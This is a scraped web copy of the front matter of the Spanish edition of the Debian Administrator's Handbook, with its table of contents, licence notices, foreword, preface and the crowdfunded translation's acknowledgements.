2028

El Libro Del Administrador de Debian - Raphael Hertzog

Embed Size (px)

Citation preview

Page 1: El Libro Del Administrador de Debian - Raphael Hertzog
Page 2: El Libro Del Administrador de Debian - Raphael Hertzog

El libro deladministrador deDebianTable of Contents

PrólogoPrefacio

Page 3: El Libro Del Administrador de Debian - Raphael Hertzog

1. El proyecto Debian1.1. ¿Qué es Debian?1.2. Los documentos de fundación1.3. El funcionamiento interno delproyecto Debian1.4. El papel de las distribuciones1.5. Ciclo de vida de una versión

Page 4: El Libro Del Administrador de Debian - Raphael Hertzog

2. Presentando el caso de estudio2.1. Necesidades TI de rápidocrecimiento2.2. Plan maestro2.3. ¿Por qué una distribuciónGNU/Linux?2.4. ¿Por qué la distribuciónDebian?2.5. ¿Por qué Debian Squeeze?

Page 5: El Libro Del Administrador de Debian - Raphael Hertzog

3. Analizando la instalación existente ymigrando

3.1. Coexistencia en entornosheterogéneos3.2. Cómo migrar

Page 6: El Libro Del Administrador de Debian - Raphael Hertzog

4. Instalación4.1. Métodos de instalación4.2. Instalación, paso a paso4.3. Luego del primer arranque

Page 7: El Libro Del Administrador de Debian - Raphael Hertzog

5. Sistema de paquetes: herramientas yprincipios fundamentales

5.1. Estructura de un paquetebinario5.2. Metainformación de unpaquete5.3. Estructura de un paquetefuente5.4. Manipulación paquetes condpkg5.5. Coexistencia con otrossistemas paquetes

Page 8: El Libro Del Administrador de Debian - Raphael Hertzog

6. Mantenimiento y actualizaciones:las herramientas APT

6.1. Completando el archivosources.list

6.2. Los programas aptitude yapt-get6.3. La orden apt-cache6.4. Interfaces: aptitude, synaptic6.5. Comprobando la autenticidadde un paquete6.6. Actualizando de unadistribución estable a la siguiente6.7. Manteniendo un sistemaactualizado6.8. Actualizaciones automáticas6.9. Buscar paquetes

Page 9: El Libro Del Administrador de Debian - Raphael Hertzog

7. Resolver problemas y encontrarinformación relevante

7.1. Fuentes de documentación7.2. Procedimientos comunes

Page 10: El Libro Del Administrador de Debian - Raphael Hertzog

8. Configuración básica: red, cuentas,impresión...

8.1. Configurar el sistema en otroidioma8.2. Configuración de red8.3. Definir el nombre de equipo yconfigurar el servicio de nombres8.4. Bases de datos de usuarios ygrupos8.5. Crear cuentas8.6. Entorno de consola8.7. Configuración de impresoras8.8. Configuración del gestor dearranque8.9. Otras configuraciones:sincronización de tiempo,registros, acceso compartido...8.10. Compilación de un núcleo

Page 11: El Libro Del Administrador de Debian - Raphael Hertzog

8.11. Instalación de un núcleo

Page 12: El Libro Del Administrador de Debian - Raphael Hertzog

9. Servicios Unix9.1. Arranque del sistema9.2. Inicio de sesión remoto9.3. Administración de permisos9.4. Interfaces de administración9.5. syslog Eventos de sistema9.6. El superservidor inetd9.7. Programación de tareas concron y atd9.8. Programación de tareasasincrónicas: anacron9.9. Cuotas9.10. Respaldo9.11. Conexión en caliente:hotplug9.12. Administración de energía9.13. Tarjetas de extensión enportátiles: PCMCIA

Page 13: El Libro Del Administrador de Debian - Raphael Hertzog

10. Infraestructura de red10.1. Puerta de enlace10.2. Red virtual privada10.3. Calidad del servicio10.4. Enrutamiento dinámico10.5. IPv610.6. Servidores de nombres dedominio (DNS)10.7. DHCP10.8. Herramientas de diagnósticode red

Page 14: El Libro Del Administrador de Debian - Raphael Hertzog

11. Servicios de red: Postfix, Apache,NFS, Samba, Squid, LDAP

11.1. Servidor de correo11.2. Servidor web (HTTP)11.3. Servidor de archivos FTP11.4. Servidor de archivos NFS11.5. Configuración de espacioscompartidos Windows con Samba11.6. Proxy HTTP/FTP11.7. Directorio LDAP

Page 15: El Libro Del Administrador de Debian - Raphael Hertzog

12. Administración avanzada12.1. RAID y LVM12.2. Virtualización12.3. Instalación automatizada12.4. Monitorización

Page 16: El Libro Del Administrador de Debian - Raphael Hertzog

13. Estación de trabajo13.1. Configuración del servidorX1113.2. Personalización de lainterfaz gráfica13.3. Escritorios gráficos13.4. Herramientas13.5. Emulación de Windows:Wine

Page 17: El Libro Del Administrador de Debian - Raphael Hertzog

14. Seguridad14.1. Definición de una política deseguridad14.2. Firewall o el filtrado depaquetes14.3. Supervisión: prevención,detección, disuasión14.4. Introducción a SELinux14.5. Otras consideracionesrelacionadas con la seguridad14.6. Tratamiento de una máquinacomprometida

Page 18: El Libro Del Administrador de Debian - Raphael Hertzog

15. Creación de un paquete Debian15.1. Recompilación de unpaquete desde sus fuentes15.2. Creación de su primerpaquete15.3. Creación de un repositoriode paquetes para APT15.4. Convertirse en un encargadode paquetes

Page 19: El Libro Del Administrador de Debian - Raphael Hertzog

16. Conclusión: el futuro de Debian16.1. Los próximos desarrollos16.2. El futuro de Debian16.3. El futuro de este libro

A. Distribuciones derivadasA.1. Censo y cooperaciónA.2. UbuntuA.3. KnoppixA.4. Linux MintA.5. SimplyMEPISA.6. Aptosid (anteriormenteSidux)A.7. Damn Small LinuxA.8. Y muchas más

B. Curso breve de emergenciaB.1. Consola y órdenes básicasB.2. Organización de la jerarquíadel sistema de archivos

Page 20: El Libro Del Administrador de Debian - Raphael Hertzog

B.3. Funcionamiento interno de unequipo: las diferentes capasinvolucradasB.4. Algunas tareas administradaspor el núcleoB.5. El espacio de usuario

Page 21: El Libro Del Administrador de Debian - Raphael Hertzog

El libro deladministrador deDebian

Debian Squeeze, desdeel descubrimiento a lamaestría

Raphäel Hertzog

<[email protected]>

Roland Mas

Page 22: El Libro Del Administrador de Debian - Raphael Hertzog

Roland Mas

<[email protected]>

Copyright © 2003, 2004, 2005, 2006,2007, 2008, 2009, 2010, 2011, 2012Raphaël Hertzog

Copyright © 2006, 2007, 2008, 2009,2010, 2011, 2012 Roland Mas

Copyright © 2012 Freexian SARL

ISBN: 979-10-91414-00-5 (edición depapel)

ISBN: 979-10-91414-01-2 (libroelectrónico)

Page 23: El Libro Del Administrador de Debian - Raphael Hertzog

Este libro está disponible bajo lostérminos de dos licencias compatiblescon las directrices de software libre deDebian.

Aviso de licencia «CreativeCommons»: Este libro es licenciadobajo la licencia «Creative CommonsAtribución-CompartirIgual 3.0Unported».

→ http://creativecommons.org/licenses/by-sa/3.0/deed.es

Aviso de Licencia Pública GeneralGNU: Este libro es documentaciónlibre: puede redistribuirlo y/omodificarlo bajo los términos de laLicencia Pública General GNU («GNU

Page 24: El Libro Del Administrador de Debian - Raphael Hertzog

General Public License») como espublicada por la Free SoftwareFoundation, ya sea la versión 2 dedicha licencia o (a su criterio)cualquier versión posterior.

Se distribuye este libro con el afán queserá útil, pero SIN GARANTÍAALGUNA; aún sin la garantía implícitade COMERCIABILIDAD o APTITUDPARA UN PROPÓSITO PARTICUAR.Revise la Licencia Pública GeneralGNU para más detalles.

Junto con este programa debería haberrecibido una copia de la LicenciaPública General GNU. Si no es así,revise http://www.gnu.org/licenses/.

Page 25: El Libro Del Administrador de Debian - Raphael Hertzog

Mostrar su aprecio

Este libro es publicado bajouna licencia libre porquequeremos que todos sebeneficien de él. Sinembargo, mantenerlo tomatiempo y mucho esfuerzo yapreciamos que nosagradezcan por ello. Si ellibro le pareció valioso,considere contribuir a sumanutención continua biencomprando una copia enpapel o realizando unadonación a través del sitiooficial del libro:

Page 26: El Libro Del Administrador de Debian - Raphael Hertzog

→ http://debian-handbook.info

Abstract

Un libro de referencia que presenta ladistribución Debian, desde lainstalación incial hasta laconfiguración de servicios.

Page 27: El Libro Del Administrador de Debian - Raphael Hertzog

PrólogoCada vez más profesionales estánadoptando Debian GNU/Linux, cuyafinalidad de crear una distribución ricay flexible que no precise demasiadomantenimiento satisface susexpectativas. Por lo general, apreciansu robustez y su confiabilidad, suautomatización de tareas secundarias,así como también la coherencia queproporciona la estricta aplicación deespecificaciones y por lo tanto ladurabilidad de sus logros y habilidades.

Al mismo tiempo, muchaspersonalidades influyentes de la

Page 28: El Libro Del Administrador de Debian - Raphael Hertzog

industria de la informática acaban decomprender el interés estratégico quesupone la utilización de unadistribución elaborada que no esgestionada por entidades comerciales.Algunos de sus clientes ademáscomprenden — siguiendo la mismalógica — que una plataforma desoftware que no depende de acuerdosentre proveedores reduce lasobligaciones que tendrán tras lacompra.

Por último, muchos principiantesdescubren Debian a través de losproyectos Knoppix y Ubuntu, mientrasque otros más interesados en sabercómo funcionan las cosas utilizan

Page 29: El Libro Del Administrador de Debian - Raphael Hertzog

Debian directamente porque quierenevitar el empirismo.

Debian — que solía ser de bajo perfil— fue adoptado por usuariosapasionados que se sintieron atraídospor el espíritu que encarna. Seencontraron con un proyecto que tieneobjetivos claros y logros palpables,cuyo desarrollo se centra en crear unbuen diseño antes de ponerse aconstruir — rechazando así los plazosque a menudo comprometen la calidadde muchos otros proyectos de software.Debian está dirigido por sus propiosactores. En otras palabras, los usuariosde Debian al unirse a Debian se estánuniendo a un proyecto que explota

Page 30: El Libro Del Administrador de Debian - Raphael Hertzog

todas las ventajas del software libre…para producir software libre por símismos.

El Libro del administrador de Debianlo acompañará a lo largo de su propiocamino a la autonomía. Solo podríahaber sido escrito por autores quecombinan tanto los aspectos técnicoscomo el funcionamiento interno delproyecto Debian y que conocen lasnecesidades de los profesionales comotambién de los entusiastas. RaphaëlHertzog y Roland Mas poseían lascualidades necesarias y lograron creary actualizar este libro. Yo lesagradezco mucho su trabajo y no tengoninguna duda que leer este libro será

Page 31: El Libro Del Administrador de Debian - Raphael Hertzog

tan útil como agradable.

Nat Makarevitch (PGP/GPGfingerprint: 2010 4A02 9C0E 7D1F5631 ADF0 453C 4549 0230 D602)

Page 32: El Libro Del Administrador de Debian - Raphael Hertzog

PrefacioEn los últimos años Linux ha adquiridofuerza, y su creciente popularidadimpulsa a cada vez más y más usuariosa dar el salto. El primer paso en esecamino consiste en elegir unadistribución. Es una decisiónimportante ya que cada distribucióntiene sus propias peculiaridades y unaelección correcta desde el principiopuede evitar los costos de migracionesfuturas.

VOLVER A LOS CIMIENTOSdistribución Linux, núcleo Linux

Page 33: El Libro Del Administrador de Debian - Raphael Hertzog

Estrictamente hablando, Linux es solo unnúcleo, la pieza central de software que seencuentra entre el hardware y lasaplicaciones.

Una «distribución Linux» es un sistemaoperativo completo; normalmente incluyeel núcleo Linux, un programa instalador ysobre todo aplicaciones y otro softwarenecesario para convertir un equipo en unaherramienta útil.

Debian GNU/Linux es una distribuciónde Linux «genérica» que se ajusta a lamayoría de los usuarios. El propósitode este libro es mostrar sus numerososaspectos para que pueda tomar unadecisión fundada en el momento deelegir una distribución.

Page 34: El Libro Del Administrador de Debian - Raphael Hertzog

1. ¿Por qué estelibro?

CULTURA Distribuciones comerciales

La mayoría de distribuciones Linux estánrespaldadas por empresas con fines delucro que las desarrollan y comercializanbajo algún tipo de proyecto comercial.Algunos ejemplos son Ubuntu,principalmente desarrollado porCanonical Ltd.; Mandriva Linux, por lacompañía francesa Mandriva SA; y SuseLinux, que es mantenida y comercializadapor Novell.

En el extremo opuesto se encuentranaquellas similares a Debian y de la

Page 35: El Libro Del Administrador de Debian - Raphael Hertzog

«Apache Software Foundation» (quealberga el desarrollo del servidor webApache). Debian es ante todo un proyectoen el mundo del Software Libre,implementado por voluntarios quetrabajan juntos a través de Internet.

Linux ha disfrutado de una grancobertura mediática, lo cual beneficiasobre todo a las distribuciones que seapoyan en un departamento demarketing real — en otras palabras:distribuciones respaldas por empresas(Ubuntu, Red Hat, Suse, Mandriva,etc.). Sin embargo, Debian está lejos deser una distribución marginal; según unestudio alemán realizado a principiosde 2009, Debian es la distribución más

Page 36: El Libro Del Administrador de Debian - Raphael Hertzog

utilizada en servidores (casi la mitadde las empresas encuestadas tienen almenos un servidor con Debian) y lasegunda más ampliamente utilizada enlos equipos de escritorio (justo pordetrás de Ubuntu, que es un derivadode Debian).

→ http://www.heise.de/open/artikel/Eingesetzte-Produkte-224518.html

El propósito de este libro es ayudarle adescubrir esta distribución. Esperamoscompartir la experiencia que hemosacumulado desde que nos unimos alproyecto como desarrolladores ycontribuidores en 1998 (Raphaël) y2000 (Roland). Con suerte,

Page 37: El Libro Del Administrador de Debian - Raphael Hertzog

transmitiremos nuestro entusiasmo yquizás decidas unirte a nosotros algúndía…

La primera edición de este libro (en2004) sirvió para llenar un vacío: fue elprimer libro en francés que se centróexclusivamente en Debian. En esemomento se escribieron muchos otroslibros sobre Debian, tanto para loslectores de habla francesa como paralos de habla inglesa. Lamentablementecasi ninguno de ellos fue actualizadodesde entonces, y hoy nuevamente nosencontramos en una situación dondehay muy pocos libros buenos sobreDebian. Esperamos sinceramente queesta edición (la primera en inglés) llene

Page 38: El Libro Del Administrador de Debian - Raphael Hertzog

este vacío y ayude a muchos usuarios.

Page 39: El Libro Del Administrador de Debian - Raphael Hertzog

2. ¿Para quién eseste libro?Hemos intentado hacer un libro útilpara muchas categorías de lectores. Enprimer lugar, administradores desistemas (tanto principiantes comoexpertos) encontrarán explicacionesacerca de la instalación y despliegue enmuchos equipos. También se harán unaidea de la mayoría de los serviciosdisponibles en Debian, junto con lasinstrucciones de configuración y unadescripción de las particularidades dela distribución. Comprender losmecanismos que tienen lugar en el

Page 40: El Libro Del Administrador de Debian - Raphael Hertzog

desarrollo de Debian les capacitarápara tratar con problemas imprevistos,sabiendo que siempre pueden contarcon la ayuda de la comunidad.

Los usuarios de otras distribuciones deLinux, o de otra variante de Unix,descubrirán las característicasespecíficas de Debian y se adaptaránmuy rápidamente mientras sebenefician plenamente de las ventajasúnicas de esta distribución.

Finalmente, los lectores que ya tienenconocimientos previos de Debian yquieren conocer más acerca de lacomunidad que se encuentra detrás deDebian verán sus expectativas

Page 41: El Libro Del Administrador de Debian - Raphael Hertzog

cumplidas. Este libro deberíaacercarles mucho más a unirse anosotros como colaboradores.

Page 42: El Libro Del Administrador de Debian - Raphael Hertzog

3. Enfoque elegidoToda la documentación genérica quepueda encontrar acerca de GNU/Linuxtambién es aplicable a Debian ya queDebian incluye la mayoría del softwarelibre. Sin embargo, la distribuciónincorpora muchas mejoras, por lo quehemos decidido describir en primerlugar la «forma Debian» de hacer lascosas.

Es importante seguir lasrecomendaciones de Debian, pero esaún más importante entender susrazones. Por lo tanto, no noslimitaremos sólamente a explicaciones

Page 43: El Libro Del Administrador de Debian - Raphael Hertzog

prácticas; también describiremos laforma en la que funciona el proyectopara brindarle un conocimientoexhaustivo y consistente.

Page 44: El Libro Del Administrador de Debian - Raphael Hertzog

4. Estructura dellibroSiguiendo la estructura y los objetivosde la colección «Libro delAdministrador» de Eyrolles, este librogira en torno a un caso de estudioproporcionando tanto apoyo comoejemplos de todos los temas abordadosen el mismo.

NOTA Sitio web, email del autor

Este libro tiene su propio sitio web quealberga todos los elementos que puedenhacerlo más útil. En particular, incluye

Page 45: El Libro Del Administrador de Debian - Raphael Hertzog

una versión online del libro con enlacesclickables y posible fe de erratas. Siéntaselibre de navegarlo y dejarnos suscomentarios y sugerencias. Nosalegragará leer sus opiniones o susmensajes de apoyo. Envíe un email a<[email protected]> (Raphaël) y<[email protected]> (Roland).

→ http://debian-handbook.info/

El capítulo 1 se centra en unapresentación no técnica del proyectoDebian y describe sus objetivos yorganización. Estos aspectos sonimportantes porque definen un marcogeneral que se completará en otroscapítulos con información másconcreta.

Page 46: El Libro Del Administrador de Debian - Raphael Hertzog

Los capítulos 2 y 3 presentan el casode estudio en líneas generales.Llegados a este punto los lectoresprincipiantes pueden echar un vistazoal apéndice B, donde pueden encontrarun breve curso que explica nocionesbásicas de informática, así comotambién los conceptos inherentes acualquier sistema Unix.

Para comenzar nuestro tema principal,lógicamente vamos a empezar con elproceso de instalación (capítulo 4); loscapítulos 5 y 6 darán a conocer lasherramientas básicas que todoadministrador de Debian utilizará,como las pertenecientes a la familiaAPT que es, en gran parte, la

Page 47: El Libro Del Administrador de Debian - Raphael Hertzog

responsable de la excelente reputaciónde la distribución. Estos capítulos noson exclusivamente para profesionales,puesto que cada uno en su casa es supropio administrador.

El capítulo 7 será un paréntesisimportante, describe los flujos detrabajo para usar eficientemente ladocumentación y para lograrcomprender rápidamente los problemaspara poder resolverlos.

Los capítulos siguientesproporcionarán una visión másdetallada del sistema, empezando porla infraestructura básica y los servicios(desde el capítulo 8 hasta el 10) y se

Page 48: El Libro Del Administrador de Debian - Raphael Hertzog

irá avanzado progresivamente hasta lasaplicaciones de usuario en el capítulo13. El capítulo 12 trata de temas másavanzados relacionados directamentecon los administradores de grandesconjuntos de equipos (incluyendoservidores), mientras que el capítulo14 es una breve introducción al temamás amplio que es la seguridad yproporciona algunas claves para evitarla mayoría de los problemas.

El capítulo 15 es para administradoresque quieran profundizar y crear suspropios paquetes Debian.

VOCABULARIO Paquete Debian

Page 49: El Libro Del Administrador de Debian - Raphael Hertzog

Un paquete Debian es un archivo quecontiene todos los archivos necesariopara instalar una pieza de software.Normalmente es un archivo con extensión.deb y puede ser manipulado con elprograma dpkg. También conocido comopaquete binario, contiene los archivosque pueden ser utilizados directamente(tales como programas y documentación).Por otro lado, un paquete fuente contieneel código fuente para el software y lasinstrucciones necesarias para construir elpaquete binario.

La presente versión en español estábasada en la quinta edición del librofrancés. La quinta edición supuso unaactualización importante, cubriendo laversión 6.0 de Debian, cuyo nombre es

Page 50: El Libro Del Administrador de Debian - Raphael Hertzog

Squeeze. Entre los cambios seencuentran: Debian es compatible condos nuevas arquitecturas basadas en elnúcleo FreeBSD — kfreebsd-i386 ykfreebsd-amd64 — y las tecnologíasrelacionadas (jails, packet filter ymuchos más). En las arquitecturasbasadas en Linux, el núcleo 2.6.32amplía la compatibilidad con lasprincipales tecnologías devirtualización(Xen/OpenVZ/LXC/KVM, revise laSection 12.2, “Virtualización”).Obviamente, se actualizaron todos lospaquetes incluidos. Muchas mejorasfueron especialmente destinadas adesarrolladores de paquetes, quienesahora pueden usar debian/rules (con

Page 51: El Libro Del Administrador de Debian - Raphael Hertzog

la orden dh de debhelper); puedenbeneficiarse además de un sistemaestándar para la gestión de parchesintegrado a dpkg-source (utilizando elformato de paquete fuente 3.0(quilt)).

Hemos añadido algunas notas ycomentarios en recuadros. Cumplenvarias funciones: pueden remarcar unpunto difícil, complementar nocionesdel caso de estudio, definir algunostérminos o servir como recordatorios.A continuación se muestra una lista delas anotaciones más comunes:

VOLVER A LOS CIMIENTOS:un recordatorio acerca de

Page 52: El Libro Del Administrador de Debian - Raphael Hertzog

información que se supone ya esconocida por el lector;VOCABULARIO: define untérmino técnico, a vecesespecífico de Debian;COMUNIDAD: resalta personas oroles importantes dentro delproyecto;NORMA: una regla orecomendación de la Política deDebian («Debian Policy»). Estedocumento es esencial en elproyecto y describe cómoempaquetar software. Las partesde la política resaltadas en estelibro proporcionarán beneficiosdirectos a los usuarios (porejemplo: el saber que estandariza

Page 53: El Libro Del Administrador de Debian - Raphael Hertzog

la ubicación de la documentacióny los ejemplos facilitaencontrarlos incluso en un nuevopaquete).HERRAMIENTA: presenta unaherramienta o servicio relevante;EN LA PRÁCTICA: la teoría y lapráctica no siempre coinciden;estos recuadros contienenconsejos que son el resultado denuestra experiencia. Tambiénpueden proporcionar ejemplosdetallados y concretos;otros recuadros más o menosfrecuentes son bastante explícitos:CULTURA, SUGERENCIA,PRECAUCIÓN, YENDO MÁSALLÁ, SEGURIDAD y otros.

Page 54: El Libro Del Administrador de Debian - Raphael Hertzog
Page 55: El Libro Del Administrador de Debian - Raphael Hertzog

5. Reconocimientos

5.1. Un poco dehistoriaEn 2003, Nat Makarevitch se puso encontacto conmigo (Raphaël) porquequería publicar un libro sobre Debianen la colección Cahier de l'Admin(«libro del administrador») que estabacoordinando para Eyrolles, un editorfrancés de libros técnicos. Aceptéescribirlo inmediatamente. La primeraedición salió a la luz el 14 de octubrede 2004 y tuvo un gran éxito — se

Page 56: El Libro Del Administrador de Debian - Raphael Hertzog

agotó apenas cuatro meses más tarde.

Desde entonces, hemos publicado 4ediciones del libro en francés, uno paracada versión posterior de Debian.Roland Mas, quien inicialmente trabajóen el libro como mi corrector, poco apoco se convirtió en su co-autor.

Si bien estábamos satisfechos,obviamente, con el éxito del librosiempre esperamos que Eyrollesconvenciera a un editor internacionalpara que realizara la traducción alinglés. Hemos recibido numerososcomentarios que explican cómo el libroayudó a gente a empezar con Debian yestábamos interesados en ayudar a más

Page 57: El Libro Del Administrador de Debian - Raphael Hertzog

personas de la misma manera.

Por desgracia, no conseguimoscontactar con ningún editor de hablainglesa que estuviera dispuesto a correrel riesgo de traducir y publicar el libro.No nos dejamos intimidar por estepequeño contratiempo y decidimosnegociar con nuestro editor francés,Eyrolles, para recuperar los derechosnecesarios para traducir el libro alinglés y tratar de publicarlo nosotrosmismos.

5.2. Una traducciónfinanciada por el

Page 58: El Libro Del Administrador de Debian - Raphael Hertzog

públicoTraducir un libro de 450 páginassupone un esfuerzo considerable querequiere varios meses de trabajo. Paratrabajadores autónomos como Roland ycomo yo, hemos tenido que garantizarunos ingresos mínimos para poderdisponer del tiempo necesario paracompletar el proyecto. Así que pusimosen marcha una campaña definanciación pública en Ulule ypedimos a la gente que contribuyera alproyecto comprometiéndoseeconomicamente.

→ http://www.ulule.com/debian-

Page 59: El Libro Del Administrador de Debian - Raphael Hertzog

handbook/

La campaña tenía dos objetivos:alcanzar la cifra de 15.000 € para poderrealizar la traducción y llegar adisponer de un fondo para la liberacióndel libro de 25.000 € que hiciera que elmismo sea publicado bajo una licencialibre — es decir, una licencia que siguefielmente las Directrices de softwarelibre de Debian («Debian FreeSoftware Guidelines»).

Cuando terminó la campaña en Ulule,se había logrado alcanzar el primerobjetivo con 24.345 €. Sin embargo, nose completó el fondo para la liberacióndel libro, recaudando sólo 14.395 €. Tal

Page 60: El Libro Del Administrador de Debian - Raphael Hertzog

y como se anunció inicialmente, lacampaña para la liberación del librocontinuó en el sitio oficial del libroindependientemente de Ulule.

Mientras estábamos ocupadostraduciendo el libro, continuaron lasdonaciones para la liberación dellibro… Y en abril de 2012 se alcanzó elmonto necesario para la liberación. Deeste modo es que puede beneficiarse deeste libro bajo los términos de unalicencia libre.

Nos gustaría dar las gracias a todos losque contribuyeron con estas campañasde recaudación de fondos, ya seamediante la promesa de algo de dinero

Page 61: El Libro Del Administrador de Debian - Raphael Hertzog

o pasando la voz. No podríamoshaberlo hecho sin ti.

5.2.1. Empresas yorganizaciones de apoyo

Tuvimos el placer de conseguirimportantes contribuciones de muchasempresas y organizaciones afines alsoftware libre. Gracias a Code Lutin,École Ouverte Francophone, Evolix,Fantini Bakery, FSF France, OffensiveSecurity (la empresa detrás deBackTrack Linux), Opensides,Proxmox Server Solutions Gmbh,SSIELL («Société Solidaired'Informatique En Logiciels Libres») y

Page 62: El Libro Del Administrador de Debian - Raphael Hertzog

Syminet.

También nos gustaría dar las gracias aOMG! Ubuntu y a April por su ayudaen la promoción del proyecto.

5.2.2. Apoyos individuales

Con más de 650 contribuyentes en larecaudación inicial de fondos y varioscientos más en la campaña deliberación posterior, este proyecto hasido posible gracias a personas comousted. ¡Gracias!

Queremos dar las graciasespecialmente a aquellos que hancontribuido con al menos 35 € (¡a

Page 63: El Libro Del Administrador de Debian - Raphael Hertzog

veces mucho más!) al fondo para laliberación del libro. Estamosencantados de que haya tantas personasque compartan nuestros valores delibertad y sin embargo reconocen quemerecíamos una compensación por eltrabajo realizado en este proyecto.

Así que gracias a Alain Coron, AlainThabaud, Alan Milnes, AlastairSherringham, Alban Dumerain, AlessioSpadaro, Alex King, Alexandre Dupas,Ambrose Andrews, Andre Klärner,Andreas Olsson, Andrej Ricnik,Andrew Alderwick, Anselm Lingnau,Antoine Emerit, Armin F. Gnosa,Avétis Kazarian, Bdale Garbee, BenoitBarthelet, Bernard Zijlstra, Carles

Page 64: El Libro Del Administrador de Debian - Raphael Hertzog

Guadall Blancafort, Carlos Horowicz— Planisys S.A., Charles Brisset,Charlie Orford, Chris Sykes, ChristianBayle, Christian Leutloff, ChristianMaier, Christian Perrier, ChristopheDrevet, Christophe Schockaert(R3vLibre), Christopher Allan Webber,Colin Ameigh, Damien Dubédat, DanPettersson, Dave Lozier, David Bercot,David James, David Schmitt, DavidTran Quang Ty, Elizabeth Young,Fabian Rodriguez, Ferenc Kiraly,Frédéric Perrenot — IntelligenceService 001, Fumihito Yoshida, Gian-Maria Daffré, Gilles Meier, GiorgioCittadini, Héctor Orón Martínez,Henry, Herbert Kaminski, HidekiYamane, Hoffmann Information

Page 65: El Libro Del Administrador de Debian - Raphael Hertzog

Services GmbH, Holger Burkhardt,Horia Ardelean, Ivo Ugrina, JanDittberner, Jim Salter, JohannesObermüller, Jonas Bofjäll, JordiFernandez Moledo, Jorg Willekens,Joshua, Kastrolis Imanta, KeisukeNakao, Kévin Audebrand, KorbinianPreisler, Kristian Tizzard, LaurentBruguière, Laurent Hamel, LeurentSylvain, Loïc Revest, Luca Scarabello,Lukas Bai, Marc Singer, MarceloNicolas Manso, Marilyne et Thomas,Mark Janssen — Sig-I/OAutomatisering, Mark Sheppard, MarkSymonds, Mathias Bocquet, MatteoFulgheri, Michael Schaffner, MicheleBaldessari, Mike Chaberski, MikeLinksvayer, Minh Ha Duong, Moreau

Page 66: El Libro Del Administrador de Debian - Raphael Hertzog

Frédéric, Morphium, Nathael Pajani,Nathan Paul Simons, NicholasDavidson, Nicola Chiapolini, Ole-Morten, Olivier Mondoloni, PaoloInnocenti, Pascal Cuoq, PatrickCamelin, Per Carlson, Philip Bolting,Philippe Gauthier, Philippe Teuwen, PJKing, Praveen Arimbrathodiyil(j4v4m4n), Ralf Zimmermann, RayMcCarthy, Rich, Rikard Westman,Robert Kosch, Sander Scheepens,Sébastien Picard, Stappers, StavrosGiannouris, Steve-David Marguet, T.Gerigk, Tanguy Ortolo, ThomasHochstein, Thomas Müller, ThomasPierson, Tigran Zakoyan, TobiasGruetzmacher, Tournier Simon, Trans-IP Internet Services, Viktor Ekmark,

Page 67: El Libro Del Administrador de Debian - Raphael Hertzog

Vincent Demeester, Vincent vanAdrighem, Volker Schlecht, WernerKuballa, Xavier Neys, y a YazidCassam Sulliman.

5.3. Agradecimientosespeciales paracolaboradoresEste libro no sería lo que es sin lacolaboración de varias personas, cadauna de las cuales cumplió un papelimportante. Nos gustaría dar las graciasa Marilyne Brun, quien nos ayudó atraducir el capítulo de ejemplo y que hatrabajado con nosotros para definir

Page 68: El Libro Del Administrador de Debian - Raphael Hertzog

unas reglas comunes para latraducción. También revisó varioscapítulos en los que necesitábamosdesesperadamente una ayuda adicional.Muchas gracias a Anthony Baldwin (deLinguas Baldwin) que ha traducidovarios capítulos para nosotros.

Hemos aprovechado la generosa ayudade los correctores: Daniel Phillips,Gerold Rupprecht, Gordon Dey, OwensJacob, y Syroid Tom. Cada uno de ellosexaminó muchos capítulos. ¡Muchasgracias!

Nos gustaría agradecer también a loslectores del libro en francés, quienesnos proporcionaron lindas citas para

Page 69: El Libro Del Administrador de Debian - Raphael Hertzog

confirmar que el libro realmente valíala pena ser traducido: gracias aChristian Perrier, David Bercot,Étienne Liétart y a Gilles Roussi.Stefano Zacchiroli — el líder delproyecto Debian durante la campaña definanciación — también se merece ungran agradecimiento, avalando elproyecto con una cita explicando quehacían mucha falta libros libres.

Si tiene el placer de leer estas líneas enpapel impreso, entonces únase anosotros en el agradecimiento a BenoîtGuillon, Jean-Côme Charpentier y aSébastien Mengin quienes trabajaronen el diseño interior del libro. Benoît esel autor original de dblatex — la

Page 70: El Libro Del Administrador de Debian - Raphael Hertzog

herramienta que usamos para convertirDocBook en LaTeX (y luego en PDF).Sébastien es el diseñador que creó elbonito diseño de este libro y Jean-Côme es el experto en LaTeX que loimplementó como una hoja de estilousable con dblatex. ¡Gracias chicos porel duro trabajo que realizaron!

Finalmente, gracias a Thierry Stempfelpor las bonitas imágenes que aparecenen la presentación de cada capítulo ygracias a Doru Patrascu por la bonitacubierta del libro.

5.4. Reconocimientospersonales de Raphaël

Page 71: El Libro Del Administrador de Debian - Raphael Hertzog

En primer lugar me gustaría dar lasgracias a Nat Makarevitch, quien meofreció la posibilidad de escribir estelibro y quien me orientó durante el añoque tomó hacerlo. Gracias también albuen equipo de Eyrolles y a MurielShan Sei Fan en particular. Ella ha sidomuy paciente conmigo y he aprendidomucho con ella.

El período de tiempo que duró lacampaña de Ulule fue muy exigentepara mí, pero me gustaría dar lasgracias a todos los que colaboraronpara que fuera un éxito y, en particular,al equipo de Ulule que respondió muyrápidamente a mis muchas peticiones.No tengo ninguna lista donde se recoja

Page 72: El Libro Del Administrador de Debian - Raphael Hertzog

de forma exhaustiva todas las personasque me ayudaron (y si la tuvieraproblablemente sería demasiado larga),pero me gustaría dar las gracias aalgunas personas que estuvieron encontacto conmigo: Joey-ElijahSneddon y Benjamin Humphrey deOMG! Ubuntu, Frédéric Couchet deApril.org, Jake Edge de Linux WeeklyNews, Clement Lefebvre de LinuxMint, Ladislav Bodnar de Distrowatch,Steve Kemp de Debian-Administration.org, Christian PfeifferJensen de Debian-News.net, ArtemNosulchik de LinuxScrew.com,Stephan Ramoin de Gandi.net,Matthew Bloch de Bytemark.co.uk, elequipo de Divergence FM, Rikki Kite

Page 73: El Libro Del Administrador de Debian - Raphael Hertzog

de Linux New Media, Jono Bacon, elequipo de márketing de Eyrolles yotros muchos que me he olvidado(siento haberlos olvidado).

Me gustaría hacer llegar miagradecimiento personal a Roland Mas,mi co-autor. Hemos estadocolaborando en este libro desde elprincipio y siempre ha estado a laaltura del desafío. Y debo decir quecompletar el Libro del administradorde Debian ha sido un montón detrabajo…

Por último, pero no menos importante,gracias a mi esposa Sophie. Ha sido ungran apoyo para mi trabajo en este

Page 74: El Libro Del Administrador de Debian - Raphael Hertzog

libro y en Debian en general. Hubodemasiados días (y noches) en que ladejé sola con nuestro hijo de 2 años deedad para lograr avanzar algo en ellibro. Estoy muy agradecido por suapoyo y sé lo afortunado que soy detenerla.

